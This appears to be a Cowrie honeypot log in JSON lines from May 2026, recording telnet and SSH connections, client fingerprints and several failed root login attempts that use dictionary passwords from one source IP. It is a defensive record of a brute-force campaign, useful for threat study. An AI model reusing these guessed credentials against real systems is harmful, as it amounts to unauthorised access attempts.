{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47428,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bb0757d02cc","protocol":"telnet","message":"New connection: 188.208.141.113:47428 (10.17.0.5:23) [session: 0bb0757d02cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:55.730685Z"}
{"eventid":"cowrie.session.closed","duration":13.162945747375488,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:57.999621Z","src_ip":"151.244.158.249","session":"52881d709f29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VkCdn2023","message":"login attempt [root/VkCdn2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:01.410297Z","src_ip":"213.209.159.158","session":"afac09bc2404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50564,"dst_ip":"10.17.0.5","dst_port":23,"session":"69979e7c0a89","protocol":"telnet","message":"New connection: 188.208.141.113:50564 (10.17.0.5:23) [session: 69979e7c0a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:01.610071Z"}
{"eventid":"cowrie.session.closed","duration":34.39997696876526,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:03.282059Z","src_ip":"162.55.233.176","session":"2c775ec51efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:04.532420Z","src_ip":"213.209.159.158","session":"afac09bc2404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41782,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fe77e979e82","protocol":"ssh","message":"New connection: 213.209.159.158:41782 (10.17.0.5:22) [session: 9fe77e979e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:04.622874Z"}
{"eventid":"cowrie.session.closed","duration":31.884620666503906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:05.518410Z","src_ip":"162.55.233.176","session":"cd1a52f31c1c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:07.114092Z","src_ip":"213.209.159.158","session":"9fe77e979e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:07.119097Z","src_ip":"213.209.159.158","session":"9fe77e979e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.55590558052063,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:08.165844Z","src_ip":"188.208.141.113","session":"69979e7c0a89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38388228416443,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:10.650978Z","src_ip":"188.208.141.113","session":"11e33019d3f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vmailpass","message":"login attempt [root/vmailpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:16.366344Z","src_ip":"213.209.159.158","session":"9fe77e979e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.732542276382446,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:19.582778Z","src_ip":"188.208.141.113","session":"924f14ac51f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:19.788464Z","src_ip":"213.209.159.158","session":"9fe77e979e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18810,"dst_ip":"10.17.0.5","dst_port":22,"session":"d98d8410e0b5","protocol":"ssh","message":"New connection: 213.209.159.158:18810 (10.17.0.5:22) [session: d98d8410e0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:19.909532Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43066,"dst_ip":"10.17.0.5","dst_port":23,"session":"255ba1263e11","protocol":"telnet","message":"New connection: 188.208.141.113:43066 (10.17.0.5:23) [session: 255ba1263e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:21.218082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:22.066803Z","src_ip":"213.209.159.158","session":"d98d8410e0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:22.070783Z","src_ip":"213.209.159.158","session":"d98d8410e0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.42896866798401,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:22.551069Z","src_ip":"206.189.32.23","session":"b7181f62cca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.604581356048584,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:23.937297Z","src_ip":"206.189.32.23","session":"7e819f6ed81b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43068,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cbc82f89a94","protocol":"telnet","message":"New connection: 188.208.141.113:43068 (10.17.0.5:23) [session: 7cbc82f89a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:29.159655Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"virtual","message":"login attempt [root/virtual] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:31.261580Z","src_ip":"213.209.159.158","session":"d98d8410e0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36438,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaae5bcedc3b","protocol":"telnet","message":"New connection: 162.55.233.176:36438 (159.203.135.109:23) [session: aaae5bcedc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:34.864798Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:34.870306Z","src_ip":"213.209.159.158","session":"d98d8410e0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54846,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ce1d411cd83","protocol":"ssh","message":"New connection: 213.209.159.158:54846 (10.17.0.5:22) [session: 4ce1d411cd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:34.948098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:37.025924Z","src_ip":"213.209.159.158","session":"4ce1d411cd83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:37.029690Z","src_ip":"213.209.159.158","session":"4ce1d411cd83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.761542081832886,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:38.628357Z","src_ip":"188.208.141.113","session":"a48beaec51ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.36396265029907,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:39.806631Z","src_ip":"206.189.32.23","session":"7ad3f124b2f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57962,"dst_ip":"10.17.0.5","dst_port":23,"session":"40af92904eb5","protocol":"telnet","message":"New connection: 188.208.141.113:57962 (10.17.0.5:23) [session: 40af92904eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:41.985742Z"}
{"eventid":"cowrie.session.closed","duration":46.85400080680847,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:42.584551Z","src_ip":"188.208.141.113","session":"0bb0757d02cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57978,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f1e1a9cbce9","protocol":"telnet","message":"New connection: 188.208.141.113:57978 (10.17.0.5:23) [session: 4f1e1a9cbce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:43.735213Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"voldemort","message":"login attempt [root/voldemort] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:46.481374Z","src_ip":"213.209.159.158","session":"4ce1d411cd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57990,"dst_ip":"10.17.0.5","dst_port":23,"session":"5abccbc3c649","protocol":"telnet","message":"New connection: 188.208.141.113:57990 (10.17.0.5:23) [session: 5abccbc3c649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:47.756898Z"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:49.667675Z","src_ip":"213.209.159.158","session":"4ce1d411cd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5698,"dst_ip":"10.17.0.5","dst_port":22,"session":"feb6870d440f","protocol":"ssh","message":"New connection: 213.209.159.158:5698 (10.17.0.5:22) [session: feb6870d440f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:49.776184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:51.868654Z","src_ip":"213.209.159.158","session":"feb6870d440f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:51.872221Z","src_ip":"213.209.159.158","session":"feb6870d440f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37286,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdde6046107c","protocol":"telnet","message":"New connection: 188.208.141.113:37286 (10.17.0.5:23) [session: cdde6046107c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:52.821287Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37302,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e3278d0a20","protocol":"telnet","message":"New connection: 188.208.141.113:37302 (10.17.0.5:23) [session: b3e3278d0a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:54.150843Z"}
{"eventid":"cowrie.session.closed","duration":5.767654180526733,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:45:59.918356Z","src_ip":"188.208.141.113","session":"b3e3278d0a20","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vdi","message":"login attempt [root/vdi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:01.192797Z","src_ip":"213.209.159.158","session":"feb6870d440f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41078,"dst_ip":"10.17.0.5","dst_port":23,"session":"76847326b7f6","protocol":"telnet","message":"New connection: 188.208.141.113:41078 (10.17.0.5:23) [session: 76847326b7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:04.337019Z"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:04.429630Z","src_ip":"213.209.159.158","session":"feb6870d440f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24724,"dst_ip":"10.17.0.5","dst_port":22,"session":"67af6a95a857","protocol":"ssh","message":"New connection: 213.209.159.158:24724 (10.17.0.5:22) [session: 67af6a95a857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:04.539160Z"}
{"eventid":"cowrie.session.closed","duration":32.06012177467346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:06.924797Z","src_ip":"162.55.233.176","session":"aaae5bcedc3b","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:06.944462Z","src_ip":"213.209.159.158","session":"67af6a95a857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:06.947971Z","src_ip":"213.209.159.158","session":"67af6a95a857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.440001010894775,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:07.657931Z","src_ip":"188.208.141.113","session":"255ba1263e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49916,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a0875af40c","protocol":"telnet","message":"New connection: 162.55.233.176:49916 (159.203.135.109:23) [session: 64a0875af40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:07.979175Z"}
{"eventid":"cowrie.session.closed","duration":5.13919997215271,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:09.476125Z","src_ip":"188.208.141.113","session":"76847326b7f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.178.165.51","src_port":53864,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e2b92985c67","protocol":"telnet","message":"New connection: 24.178.165.51:53864 (10.17.0.5:23) [session: 0e2b92985c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:10.106278Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52456,"dst_ip":"10.17.0.5","dst_port":23,"session":"446e8328377f","protocol":"telnet","message":"New connection: 188.208.141.113:52456 (10.17.0.5:23) [session: 446e8328377f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:13.403553Z"}
{"eventid":"cowrie.session.closed","duration":3.7142674922943115,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:13.820409Z","src_ip":"24.178.165.51","session":"0e2b92985c67","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vE123456","message":"login attempt [root/vE123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:16.003927Z","src_ip":"213.209.159.158","session":"67af6a95a857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.82090973854065,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:16.980472Z","src_ip":"188.208.141.113","session":"7cbc82f89a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52468,"dst_ip":"10.17.0.5","dst_port":23,"session":"a61b09704f07","protocol":"telnet","message":"New connection: 188.208.141.113:52468 (10.17.0.5:23) [session: a61b09704f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:17.382820Z"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:19.139000Z","src_ip":"213.209.159.158","session":"67af6a95a857","protocol":"ssh"}
